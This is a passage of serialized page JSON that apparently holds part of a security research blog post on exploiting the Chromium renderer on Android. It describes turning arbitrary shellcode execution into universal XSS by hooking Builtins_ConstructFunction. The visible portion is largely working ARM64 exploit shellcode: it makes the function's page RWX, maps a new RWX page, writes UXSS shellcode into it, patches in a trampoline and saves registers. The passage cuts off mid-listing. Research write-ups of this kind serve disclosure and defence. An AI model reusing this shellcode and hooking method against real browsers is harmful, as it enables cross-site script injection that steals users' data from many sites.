"tag":217,"props":31653,"children":31654},{"style":7048},[31655],{"type":32,"value":26965},{"type":26,"tag":217,"props":31657,"children":31658},{"class":7028,"line":7672},[31659,31663,31667,31671,31675,31679,31683,31687,31691,31695,31699],{"type":26,"tag":217,"props":31660,"children":31661},{"style":7154},[31662],{"type":32,"value":24787},{"type":26,"tag":217,"props":31664,"children":31665},{"style":7054},[31666],{"type":32,"value":28424},{"type":26,"tag":217,"props":31668,"children":31669},{"style":7149},[31670],{"type":32,"value":8993},{"type":26,"tag":217,"props":31672,"children":31673},{"style":7064},[31674],{"type":32,"value":28433},{"type":26,"tag":217,"props":31676,"children":31677},{"style":7048},[31678],{"type":32,"value":1851},{"type":26,"tag":217,"props":31680,"children":31681},{"style":7054},[31682],{"type":32,"value":26288},{"type":26,"tag":217,"props":31684,"children":31685},{"style":7048},[31686],{"type":32,"value":7599},{"type":26,"tag":217,"props":31688,"children":31689},{"style":7054},[31690],{"type":32,"value":28450},{"type":26,"tag":217,"props":31692,"children":31693},{"style":7048},[31694],{"type":32,"value":180},{"type":26,"tag":217,"props":31696,"children":31697},{"style":7054},[31698],{"type":32,"value":28450},{"type":26,"tag":217,"props":31700,"children":31701},{"style":7048},[31702],{"type":32,"value":7669},{"type":26,"tag":217,"props":31704,"children":31705},{"class":7028,"line":7681},[31706,31710,31714,31718,31722,31726,31730,31734,31738,31742],{"type":26,"tag":217,"props":31707,"children":31708},{"style":7054},[31709],{"type":32,"value":28470},{"type":26,"tag":217,"props":31711,"children":31712},{"style":7149},[31713],{"type":32,"value":8993},{"type":26,"tag":217,"props":31715,"children":31716},{"style":7048},[31717],{"type":32,"value":7051},{"type":26,"tag":217,"props":31719,"children":31720},{"style":7042},[31721],{"type":32,"value":7864},{"type":26,"tag":217,"props":31723,"children":31724},{"style":7054},[31725],{"type":32,"value":28424},{"type":26,"tag":217,"props":31727,"children":31728},{"style":7048},[31729],{"type":32,"value":180},{"type":26,"tag":217,"props":31731,"children":31732},{"style":7064},[31733],{"type":32,"value":28495},{"type":26,"tag":217,"props":31735,"children":31736},{"style":7048},[31737],{"type":32,"value":28500},{"type":26,"tag":217,"props":31739,"children":31740},{"style":7054},[31741],{"type":32,"value":15127},{"type":26,"tag":217,"props":31743,"children":31744},{"style":7048},[31745],{"type":32,"value":7162},{"type":26,"tag":217,"props":31747,"children":31748},{"class":7028,"line":7754},[31749,31753,31757,31761,31765,31770,31774,31778],{"type":26,"tag":217,"props":31750,"children":31751},{"style":7054},[31752],{"type":32,"value":25770},{"type":26,"tag":217,"props":31754,"children":31755},{"style":7048},[31756],{"type":32,"value":180},{"type":26,"tag":217,"props":31758,"children":31759},{"style":7064},[31760],{"type":32,"value":25779},{"type":26,"tag":217,"props":31762,"children":31763},{"style":7048},[31764],{"type":32,"value":1851},{"type":26,"tag":217,"props":31766,"children":31767},{"style":7338},[31768],{"type":32,"value":31769},"'DeserializeWasmModule result: '",{"type":26,"tag":217,"props":31771,"children":31772},{"style":7149},[31773],{"type":32,"value":9025},{"type":26,"tag":217,"props":31775,"children":31776},{"style":7054},[31777],{"type":32,"value":26462},{"type":26,"tag":217,"props":31779,"children":31780},{"style":7048},[31781],{"type":32,"value":7669},{"type":26,"tag":217,"props":31783,"children":31784},{"class":7028,"line":7784},[31785,31789,31793,31797,31801,31805,31809,31813,31817,31821],{"type":26,"tag":217,"props":31786,"children":31787},{"style":7154},[31788],{"type":32,"value":26650},{"type":26,"tag":217,"props":31790,"children":31791},{"style":7054},[31792],{"type":32,"value":28520},{"type":26,"tag":217,"props":31794,"children":31795},{"style":7149},[31796],{"type":32,"value":8993},{"type":26,"tag":217,"props":31798,"children":31799},{"style":7154},[31800],{"type":32,"value":25931},{"type":26,"tag":217,"props":31802,"children":31803},{"style":7054},[31804],{"type":32,"value":26270},{"type":26,"tag":217,"props":31806,"children":31807},{"style":7048},[31808],{"type":32,"value":180},{"type":26,"tag":217,"props":31810,"children":31811},{"style":7064},[31812],{"type":32,"value":26325},{"type":26,"tag":217,"props":31814,"children":31815},{"style":7048},[31816],{"type":32,"value":1851},{"type":26,"tag":217,"props":31818,"children":31819},{"style":7054},[31820],{"type":32,"value":14769},{"type":26,"tag":217,"props":31822,"children":31823},{"style":7048},[31824],{"type":32,"value":7669},{"type":26,"tag":217,"props":31826,"children":31827},{"class":7028,"line":7802},[31828,31832,31836,31840,31844,31848,31852,31856,31860],{"type":26,"tag":217,"props":31829,"children":31830},{"style":7154},[31831],{"type":32,"value":26650},{"type":26,"tag":217,"props":31833,"children":31834},{"style":7054},[31835],{"type":32,"value":28564},{"type":26,"tag":217,"props":31837,"children":31838},{"style":7149},[31839],{"type":32,"value":8993},{"type":26,"tag":217,"props":31841,"children":31842},{"style":7054},[31843],{"type":32,"value":28520},{"type":26,"tag":217,"props":31845,"children":31846},{"style":7048},[31847],{"type":32,"value":180},{"type":26,"tag":217,"props":31849,"children":31850},{"style":7054},[31851],{"type":32,"value":26367},{"type":26,"tag":217,"props":31853,"children":31854},{"style":7048},[31855],{"type":32,"value":180},{"type":26,"tag":217,"props":31857,"children":31858},{"style":7054},[31859],{"type":32,"value":26376},{"type":26,"tag":217,"props":31861,"children":31862},{"style":7048},[31863],{"type":32,"value":7162},{"type":26,"tag":217,"props":31865,"children":31866},{"class":7028,"line":7811},[31867,31871,31875,31879,31883,31887],{"type":26,"tag":217,"props":31868,"children":31869},{"style":7054},[31870],{"type":32,"value":25770},{"type":26,"tag":217,"props":31872,"children":31873},{"style":7048},[31874],{"type":32,"value":180},{"type":26,"tag":217,"props":31876,"children":31877},{"style":7064},[31878],{"type":32,"value":25779},{"type":26,"tag":217,"props":31880,"children":31881},{"style":7048},[31882],{"type":32,"value":1851},{"type":26,"tag":217,"props":31884,"children":31885},{"style":7054},[31886],{"type":32,"value":19826},{"type":26,"tag":217,"props":31888,"children":31889},{"style":7048},[31890],{"type":32,"value":7669},{"type":26,"tag":217,"props":31892,"children":31893},{"class":7028,"line":7820},[31894],{"type":26,"tag":217,"props":31895,"children":31896},{"style":7048},[31897],{"type":32,"value":28612},{"type":26,"tag":39,"props":31899,"children":31900},{},[31901],{"type":32,"value":31902},"And this time, it works as expected:",{"type":26,"tag":39,"props":31904,"children":31905},{},[31906],{"type":26,"tag":6468,"props":31907,"children":31910},{"alt":31908,"src":31909},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":26,"tag":607,"props":31912,"children":31914},{"id":31913},"achieving-universal-xss",[31915],{"type":32,"value":31916},"Achieving Universal XSS",{"type":26,"tag":39,"props":31918,"children":31919},{},[31920,31922,31929,31931,31938],{"type":32,"value":31921},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":26,"tag":163,"props":31923,"children":31926},{"href":31924,"rel":31925},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[167],[31927],{"type":32,"value":31928},"talk",{"type":32,"value":31930}," from Tencent Security and ",{"type":26,"tag":163,"props":31932,"children":31935},{"href":31933,"rel":31934},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[167],[31936],{"type":32,"value":31937},"research article",{"type":32,"value":31939}," from InterruptLabs.",{"type":26,"tag":39,"props":31941,"children":31942},{},[31943,31945,31952],{"type":32,"value":31944},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":26,"tag":163,"props":31946,"children":31949},{"href":31947,"rel":31948},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[167],[31950],{"type":32,"value":31951},"weaker version",{"type":32,"value":31953}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":26,"tag":39,"props":31955,"children":31956},{},[31957,31959,31965],{"type":32,"value":31958},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":26,"tag":83,"props":31960,"children":31962},{"className":31961},[],[31963],{"type":32,"value":31964},"Builtins_ConstructFunction",{"type":32,"value":31966},", making it a natural target.",{"type":26,"tag":39,"props":31968,"children":31969},{},[31970,31972,31977],{"type":32,"value":31971},"Our goal is for ",{"type":26,"tag":83,"props":31973,"children":31975},{"className":31974},[],[31976],{"type":32,"value":31964},{"type":32,"value":31978}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":26,"tag":2040,"props":31980,"children":31981},{},[31982,31987,31997],{"type":26,"tag":2044,"props":31983,"children":31984},{},[31985],{"type":32,"value":31986},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":26,"tag":2044,"props":31988,"children":31989},{},[31990,31992],{"type":32,"value":31991},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":26,"tag":83,"props":31993,"children":31995},{"className":31994},[],[31996],{"type":32,"value":31964},{"type":26,"tag":2044,"props":31998,"children":31999},{},[32000,32002,32007],{"type":32,"value":32001},"The mmap-ed shellcode then returns to the beginning of ",{"type":26,"tag":83,"props":32003,"children":32005},{"className":32004},[],[32006],{"type":32,"value":31964},{"type":32,"value":32008},", which now proceeds normally",{"type":26,"tag":39,"props":32010,"children":32011},{},[32012],{"type":32,"value":32013},"The ARM64 shellcode implementing this looks as follows:",{"type":26,"tag":207,"props":32015,"children":32019},{"code":32016,"language":32017,"meta":8,"className":32018,"style":8},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[32020],{"type":26,"tag":83,"props":32021,"children":32022},{"__ignoreMap":8},[32023,32031,32039,32047,32055,32062,32070,32078,32086,32094,32101,32109,32117,32125,32133,32141,32148,32156,32164,32172,32180,32188,32196,32203,32211,32218,32226,32234,32242,32249,32257,32265,32273,32281,32288,32295,32302,32309,32317,32325,32333,32340,32348,32356,32363,32371,32379,32387,32394,32402,32410,32418,32426,32433,32440,32448],{"type":26,"tag":217,"props":32024,"children":32025},{"class":7028,"line":7029},[32026],{"type":26,"tag":217,"props":32027,"children":32028},{},[32029],{"type":32,"value":32030},"// get return addr to x0\n",{"type":26,"tag":217,"props":32032,"children":32033},{"class":7028,"line":6770},[32034],{"type":26,"tag":217,"props":32035,"children":32036},{},[32037],{"type":32,"value":32038},"ldr x0, [sp, #0x18]\n",{"type":26,"tag":217,"props":32040,"children":32041},{"class":7028,"line":6779},[32042],{"type":26,"tag":217,"props":32043,"children":32044},{},[32045],{"type":32,"value":32046},"// strip pac signature from return address\n",{"type":26,"tag":217,"props":32048,"children":32049},{"class":7028,"line":7140},[32050],{"type":26,"tag":217,"props":32051,"children":32052},{},[32053],{"type":32,"value":32054},".arch armv8.3-a; xpaci x0\n",{"type":26,"tag":217,"props":32056,"children":32057},{"class":7028,"line":7165},[32058],{"type":26,"tag":217,"props":32059,"children":32060},{"emptyLinePlaceholder":17},[32061],{"type":32,"value":7817},{"type":26,"tag":217,"props":32063,"children":32064},{"class":7028,"line":7178},[32065],{"type":26,"tag":217,"props":32066,"children":32067},{},[32068],{"type":32,"value":32069},"// store x5 = Builtins_ConstructFunction\n",{"type":26,"tag":217,"props":32071,"children":32072},{"class":7028,"line":7389},[32073],{"type":26,"tag":217,"props":32074,"children":32075},{},[32076],{"type":32,"value":32077},"movz x1, #0x610c\n",{"type":26,"tag":217,"props":32079,"children":32080},{"class":7028,"line":7406},[32081],{"type":26,"tag":217,"props":32082,"children":32083},{},[32084],{"type":32,"value":32085},"sub x0, x0, x1\n",{"type":26,"tag":217,"props":32087,"children":32088},{"class":7028,"line":7439},[32089],{"type":26,"tag":217,"props":32090,"children":32091},{},[32092],{"type":32,"value":32093},"mov x5, x0\n",{"type":26,"tag":217,"props":32095,"children":32096},{"class":7028,"line":7487},[32097],{"type":26,"tag":217,"props":32098,"children":32099},{"emptyLinePlaceholder":17},[32100],{"type":32,"value":7817},{"type":26,"tag":217,"props":32102,"children":32103},{"class":7028,"line":7524},[32104],{"type":26,"tag":217,"props":32105,"children":32106},{},[32107],{"type":32,"value":32108},"// store x4 = page aligned ConstructFunction\n",{"type":26,"tag":217,"props":32110,"children":32111},{"class":7028,"line":7553},[32112],{"type":26,"tag":217,"props":32113,"children":32114},{},[32115],{"type":32,"value":32116},"movz x1, #0xf000\n",{"type":26,"tag":217,"props":32118,"children":32119},{"class":7028,"line":7570},[32120],{"type":26,"tag":217,"props":32121,"children":32122},{},[32123],{"type":32,"value":32124},"movk x1, #0xffff, lsl #16\n",{"type":26,"tag":217,"props":32126,"children":32127},{"class":7028,"line":7621},[32128],{"type":26,"tag":217,"props":32129,"children":32130},{},[32131],{"type":32,"value":32132},"movk x1, #0xffff, lsl #32\n",{"type":26,"tag":217,"props":32134,"children":32135},{"class":7028,"line":7672},[32136],{"type":26,"tag":217,"props":32137,"children":32138},{},[32139],{"type":32,"value":32140},"and x4, x5, x1\n",{"type":26,"tag":217,"props":32142,"children":32143},{"class":7028,"line":7681},[32144],{"type":26,"tag":217,"props":32145,"children":32146},{"emptyLinePlaceholder":17},[32147],{"type":32,"value":7817},{"type":26,"tag":217,"props":32149,"children":32150},{"class":7028,"line":7754},[32151],{"type":26,"tag":217,"props":32152,"children":32153},{},[32154],{"type":32,"value":32155},"// mprotect page aligned ConstructFunction RWX\n",{"type":26,"tag":217,"props":32157,"children":32158},{"class":7028,"line":7784},[32159],{"type":26,"tag":217,"props":32160,"children":32161},{},[32162],{"type":32,"value":32163},"mov x0, x4\n",{"type":26,"tag":217,"props":32165,"children":32166},{"class":7028,"line":7802},[32167],{"type":26,"tag":217,"props":32168,"children":32169},{},[32170],{"type":32,"value":32171},"mov x1, #0x2000\n",{"type":26,"tag":217,"props":32173,"children":32174},{"class":7028,"line":7811},[32175],{"type":26,"tag":217,"props":32176,"children":32177},{},[32178],{"type":32,"value":32179},"mov x2, #0x7\n",{"type":26,"tag":217,"props":32181,"children":32182},{"class":7028,"line":7820},[32183],{"type":26,"tag":217,"props":32184,"children":32185},{},[32186],{"type":32,"value":32187},"mov x8, #226\n",{"type":26,"tag":217,"props":32189,"children":32190},{"class":7028,"line":7844},[32191],{"type":26,"tag":217,"props":32192,"children":32193},{},[32194],{"type":32,"value":32195},"svc #0\n",{"type":26,"tag":217,"props":32197,"children":32198},{"class":7028,"line":7910},[32199],{"type":26,"tag":217,"props":32200,"children":32201},{"emptyLinePlaceholder":17},[32202],{"type":32,"value":7817},{"type":26,"tag":217,"props":32204,"children":32205},{"class":7028,"line":7954},[32206],{"type":26,"tag":217,"props":32207,"children":32208},{},[32209],{"type":32,"value":32210},"mov x6, x5\n",{"type":26,"tag":217,"props":32212,"children":32213},{"class":7028,"line":7985},[32214],{"type":26,"tag":217,"props":32215,"children":32216},{"emptyLinePlaceholder":17},[32217],{"type":32,"value":7817},{"type":26,"tag":217,"props":32219,"children":32220},{"class":7028,"line":8027},[32221],{"type":26,"tag":217,"props":32222,"children":32223},{},[32224],{"type":32,"value":32225},"// mmap RWX for jump dest (uxss_sc)\n",{"type":26,"tag":217,"props":32227,"children":32228},{"class":7028,"line":8035},[32229],{"type":26,"tag":217,"props":32230,"children":32231},{},[32232],{"type":32,"value":32233},"mov x0, #0\n",{"type":26,"tag":217,"props":32235,"children":32236},{"class":7028,"line":8067},[32237],{"type":26,"tag":217,"props":32238,"children":32239},{},[32240],{"type":32,"value":32241},"mov x1, #0x1000\n",{"type":26,"tag":217,"props":32243,"children":32244},{"class":7028,"line":8107},[32245],{"type":26,"tag":217,"props":32246,"children":32247},{},[32248],{"type":32,"value":32179},{"type":26,"tag":217,"props":32250,"children":32251},{"class":7028,"line":8145},[32252],{"type":26,"tag":217,"props":32253,"children":32254},{},[32255],{"type":32,"value":32256},"mov x3, #34\n",{"type":26,"tag":217,"props":32258,"children":32259},{"class":7028,"line":8154},[32260],{"type":26,"tag":217,"props":32261,"children":32262},{},[32263],{"type":32,"value":32264},"mov x4, #-1\n",{"type":26,"tag":217,"props":32266,"children":32267},{"class":7028,"line":8162},[32268],{"type":26,"tag":217,"props":32269,"children":32270},{},[32271],{"type":32,"value":32272},"mov x5, #0\n",{"type":26,"tag":217,"props":32274,"children":32275},{"class":7028,"line":8197},[32276],{"type":26,"tag":217,"props":32277,"children":32278},{},[32279],{"type":32,"value":32280},"mov x8, #222\n",{"type":26,"tag":217,"props":32282,"children":32283},{"class":7028,"line":8220},[32284],{"type":26,"tag":217,"props":32285,"children":32286},{},[32287],{"type":32,"value":32195},{"type":26,"tag":217,"props":32289,"children":32290},{"class":7028,"line":8228},[32291],{"type":26,"tag":217,"props":32292,"children":32293},{"emptyLinePlaceholder":17},[32294],{"type":32,"value":7817},{"type":26,"tag":217,"props":32296,"children":32297},{"class":7028,"line":8292},[32298],{"type":26,"tag":217,"props":32299,"children":32300},{},[32301],{"type":32,"value":32093},{"type":26,"tag":217,"props":32303,"children":32304},{"class":7028,"line":8351},[32305],{"type":26,"tag":217,"props":32306,"children":32307},{"emptyLinePlaceholder":17},[32308],{"type":32,"value":7817},{"type":26,"tag":217,"props":32310,"children":32311},{"class":7028,"line":8391},[32312],{"type":26,"tag":217,"props":32313,"children":32314},{},[32315],{"type":32,"value":32316},"// at this point:\n",{"type":26,"tag":217,"props":32318,"children":32319},{"class":7028,"line":8439},[32320],{"type":26,"tag":217,"props":32321,"children":32322},{},[32323],{"type":32,"value":32324},"// x6 = Builtins_ConstructFunction\n",{"type":26,"tag":217,"props":32326,"children":32327},{"class":7028,"line":8448},[32328],{"type":26,"tag":217,"props":32329,"children":32330},{},[32331],{"type":32,"value":32332},"// x5 = mmap page for uxss_sc\n",{"type":26,"tag":217,"props":32334,"children":32335},{"class":7028,"line":8456},[32336],{"type":26,"tag":217,"props":32337,"children":32338},{"emptyLinePlaceholder":17},[32339],{"type":32,"value":7817},{"type":26,"tag":217,"props":32341,"children":32342},{"class":7028,"line":8500},[32343],{"type":26,"tag":217,"props":32344,"children":32345},{},[32346],{"type":32,"value":32347},"// write uxss_sc to mmaped rwx page\n",{"type":26,"tag":217,"props":32349,"children":32350},{"class":7028,"line":8535},[32351],{"type":26,"tag":217,"props":32352,"children":32353},{},[32354],{"type":32,"value":32355},"{write_sc(uxss_sc, \"x5\")}\n",{"type":26,"tag":217,"props":32357,"children":32358},{"class":7028,"line":8664},[32359],{"type":26,"tag":217,"props":32360,"children":32361},{"emptyLinePlaceholder":17},[32362],{"type":32,"value":7817},{"type":26,"tag":217,"props":32364,"children":32365},{"class":7028,"line":8700},[32366],{"type":26,"tag":217,"props":32367,"children":32368},{},[32369],{"type":32,"value":32370},"// wipe from cache\n",{"type":26,"tag":217,"props":32372,"children":32373},{"class":7028,"line":8708},[32374],{"type":26,"tag":217,"props":32375,"children":32376},{},[32377],{"type":32,"value":32378},"mov x0, x5\n",{"type":26,"tag":217,"props":32380,"children":32381},{"class":7028,"line":8716},[32382],{"type":26,"tag":217,"props":32383,"children":32384},{},[32385],{"type":32,"value":32386},"{WIPE_CACHE}\n",{"type":26,"tag":217,"props":32388,"children":32389},{"class":7028,"line":8725},[32390],{"type":26,"tag":217,"props":32391,"children":32392},{"emptyLinePlaceholder":17},[32393],{"type":32,"value":7817},{"type":26,"tag":217,"props":32395,"children":32396},{"class":7028,"line":8738},[32397],{"type":26,"tag":217,"props":32398,"children":32399},{},[32400],{"type":32,"value":32401},"// patch Builtins_ConstructFunction\n",{"type":26,"tag":217,"props":32403,"children":32404},{"class":7028,"line":8755},[32405],{"type":26,"tag":217,"props":32406,"children":32407},{},[32408],{"type":32,"value":32409},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":26,"tag":217,"props":32411,"children":32412},{"class":7028,"line":8771},[32413],{"type":26,"tag":217,"props":32414,"children":32415},{},[32416],{"type":32,"value":32417},"// and add a pointer to uxss_sc just above new instructions\n",{"type":26,"tag":217,"props":32419,"children":32420},{"class":7028,"line":13956},[32421],{"type":26,"tag":217,"props":32422,"children":32423},{},[32424],{"type":32,"value":32425},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":26,"tag":217,"props":32427,"children":32428},{"class":7028,"line":13964},[32429],{"type":26,"tag":217,"props":32430,"children":32431},{"emptyLinePlaceholder":17},[32432],{"type":32,"value":7817},{"type":26,"tag":217,"props":32434,"children":32435},{"class":7028,"line":14021},[32436],{"type":26,"tag":217,"props":32437,"children":32438},{},[32439],{"type":32,"value":32370},{"type":26,"tag":217,"props":32441,"children":32442},{"class":7028,"line":14034},[32443],{"type":26,"tag":217,"props":32444,"children":32445},{},[32446],{"type":32,"value":32447},"mov x0, x6\n",{"type":26,"tag":217,"props":32449,"children":32450},{"class":7028,"line":14043},[32451],{"type":26,"tag":217,"props":32452,"children":32453},{},[32454],{"type":32,"value":32386},{"type":26,"tag":39,"props":32456,"children":32457},{},[32458,32460,32466,32468,32473,32475,32481],{"type":32,"value":32459},"In the snippet above, ",{"type":26,"tag":83,"props":32461,"children":32463},{"className":32462},[],[32464],{"type":32,"value":32465},"new_compile_instrs",{"type":32,"value":32467}," refers to the instructions written to the beginning of ",{"type":26,"tag":83,"props":32469,"children":32471},{"className":32470},[],[32472],{"type":32,"value":31964},{"type":32,"value":32474}," that invoke the ",{"type":26,"tag":83,"props":32476,"children":32478},{"className":32477},[],[32479],{"type":32,"value":32480},"uxss_sc",{"type":32,"value":32482}," mmap-ed shellcode:",{"type":26,"tag":207,"props":32484,"children":32486},{"code":32485,"language":32017,"meta":8,"className":32018,"style":8},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[32487],{"type":26,"tag":83,"props":32488,"children":32489},{"__ignoreMap":8},[32490,32498,32505,32513,32521,32528,32536,32544,32551,32559,32567,32574,32582],{"type":26,"tag":217,"props":32491,"children":32492},{"class":7028,"line":7029},[32493],{"type":26,"tag":217,"props":32494,"children":32495},{},[32496],{"type":32,"value":32497},"bti c\n",{"type":26,"tag":217,"props":32499,"children":32500},{"class":7028,"line":6770},[32501],{"type":26,"tag":217,"props":32502,"children":32503},{"emptyLinePlaceholder":17},[32504],{"type":32,"value":7817},{"type":26,"tag":217,"props":32506,"children":32507},{"class":7028,"line":6779},[32508],{"type":26,"tag":217,"props":32509,"children":32510},{},[32511],{"type":32,"value":32512},"// store registers that will be overwritten\n",{"type":26,"tag":217,"props":32514,"children":32515},{"class":7028,"line":7140},[32516],{"type":26,"tag":217,"props":32517,"children":32518},{},[32519],{"type":32,"value":32520},"stp x15, lr, [sp, #-16]!\n",{"type":26,"tag":217,"props":32522,"children":32523},{"class":7028,"line":7165},[32524],{"type":26,"tag":217,"props":32525,"children":32526},{"emptyLinePlaceholder":17},[32527],{"type":32,"value":7817},{"type":26,"tag":217,"props":32529,"children":32530},{"class":7028,"line":7178},[32531],{"type":26,"tag":217,"props":32532,"children":32533},{},[32534],{"type":32,"value":32535},"// get current rip into x15\n",{"type":26,"tag":217,"props":32537,"children":32538},{"class":7028,"line":7389},[32539],{"type":26,"tag":217,"props":32540,"children":32541},{},[32542],{"type":32,"value":32543},"adr x15, .\n",{"type":26,"tag":217,"props":32545,"children":32546},{"class":7028,"line":7406},[32547],{"type":26,"tag":217,"props":32548,"children":32549},{"emptyLinePlaceholder":17},[32550],{"type":32,"value":7817},{"type":26,"tag":217,"props":32552,"children":32553},{"class":7028,"line":7439},[32554],{"type":26,"tag":217,"props":32555,"children":32556},{},[32557],{"type":32,"value":32558},"// load the uxss_sc pointer saved just above new instructions\n",{"type":26,"tag":217,"props":32560,"children":32561},{"class":7028,"line":7487},[32562],{"type":26,"tag":217,"props":32563,"children":32564},{},[32565],{"type":32,"value":32566},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":26,"tag":217,"props":32568,"children":32569},{"class":7028,"line":7524},[32570],{"type":26,"tag":217,"props":32571,"children":32572},{"emptyLinePlaceholder":17},[32573],{"type":32,"value":7817},{"type":26,"tag":217,"props":32575,"children":32576},{"class":7028,"line":7553},[32577],{"type":26,"tag":217,"props":32578,"children":32579},{},[32580],{"type":32,"value":32581},"// jump to uxss_sc\n",{"type":26,"tag":217,"props":32583,"children":32584},{"class":7028,"line":7570},[32585],{"type":26,"tag":217,"props":32586,"children":32587},{},[32588],{"type":32,"value":32589},"blr x15\n",{"type":26,"tag":39,"props":32591,"children":32592},{},[32593,32598,32600,32605],{"type":26,"tag":83,"props":32594,"children":32596},{"className":32595},[],[32597],{"type":32,"value":32480},{"type":32,"value":32599}," is the mmap-ed shellcode invoked by the patched ",{"type":26,"tag":83,"props":32601,"children":32603},{"className":32602},[],[32604],{"type":32,"value":31964},{"type":32,"value":32606}," to execute our XSS payload. Its prologue looks like this:",{"type":26,"tag":207,"props":32608,"children":32610},{"code":32609,"language":32017,"meta":8,"className":32018,"style":8},"bti c\n\n// Save full register context\nstp x0,  x1,  [sp, #-16]!\nstp x2,  x3,  [sp, #-16]!\nstp x4,  x5,  [sp, #-16]!\nstp x6,  x7,  [sp, #-16]!\nstp x8,  x9,  [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[32611],{"type":26,"tag":83,"props":32612,"children":32613},{"__ignoreMap":8},[32614,32621,32628,32636,32644,32652,32660,32668,32676,32684,32692,32700,32708,32716,32724,32732,32740,32748,32756],{"type":26,"tag":217,"props":32615,"children":32616},{"class":7028,"line":7029},[32617],{"type":26,"tag":217,"props":32618,"children":32619},{},[32620],{"type":32,"value":32497},{"type":26,"tag":217,"props":32622,"children":32623},{"class":7028,"line":6770},[32624],{"type":26,"tag":217,"props":32625,"children":32626},{"emptyLinePlaceholder":17},[32627],{"type":32,"value":7817},{"type":26,"tag":217,"props":32629,"children":32630},{"class":7028,"line":6779},[32631],{"type":26,"tag":217,"props":32632,"children":32633},{},[32634],{"type":32,"value":32635},"// Save full register context\n",{"type":26,"tag":217,"props":32637,"children":32638},{"class":7028,"line":7140},[32639],{"type":26,"tag":217,"props":32640,"children":32641},{},[32642],{"type":32,"value":32643},"stp x0,  x1,  [sp, #-16]!\n",{"type":26,"tag":217,"props":32645,"children":32646},{"class":7028,"line":7165},[32647],{"type":26,"tag":217,"props":32648,"children":32649},{},[32650],{"type":32,"value":32651},"stp x2,  x3,  [sp, #-16]!\n",{"type":26,"tag":217,"props":32653,"children":32654},{"class":7028,"line":7178},[32655],{"type":26,"tag":217,"props":32656,"children":32657},{},[32658],{"type":32,"value":32659},"stp x4,  x5,  [sp, #-16]!\n",{"type":26,"tag":217,"props":32661,"children":32662},{"class":7028,"line":7389},[32663],{"type":26,"tag":217,"props":32664,"children":32665},{},[32666],{"type":32,"value":32667},"stp x6,  x7,  [sp, #-16]!\n",{"type":26,"tag":217,"props":32669,"children":32670},{"class":7028,"line":7406},[32671],{"type":26,"tag":217,"props":32672,"children":32673},{},[32674],{"type":32,"value":32675},"stp x8,  x9,  [sp, #-16]!\n",{"type":26,"tag":217,"props":32677,"children":32678},{"class":7028,"line":7439},[32679],{"type":26,"tag":217,"props":32680,"children":32681},{},[32682],{"type":32,"value":32683},"stp x10, x11, [sp, #-16]!\n",{"type":26,"tag":217,"props":32685,"children":32686},{"class":7028,"line":7487},[32687],{"type":26,"tag":217,"props":32688,"children":32689},{},[32690],{"type":32,"value":32691},"stp x12, x13, [sp, #-16]!\n",{"type":26,"tag":217,"props":32693,"children":32694},{"class":7028,"line":7524},[32695],{"type":26,"tag":217,"props":32696,"children":32697},{},[32698],{"type":32,"value":32699},"stp x14, x15, [sp, #-16]!\n",{"type":26,"tag":217,"props":32701,"children":32702},{"class":7028,"line":7553},[32703],{"type":26,"tag":217,"props":32704,"children":32705},{},[32706],{"type":32,"value":32707},"stp x16, x17, [sp, 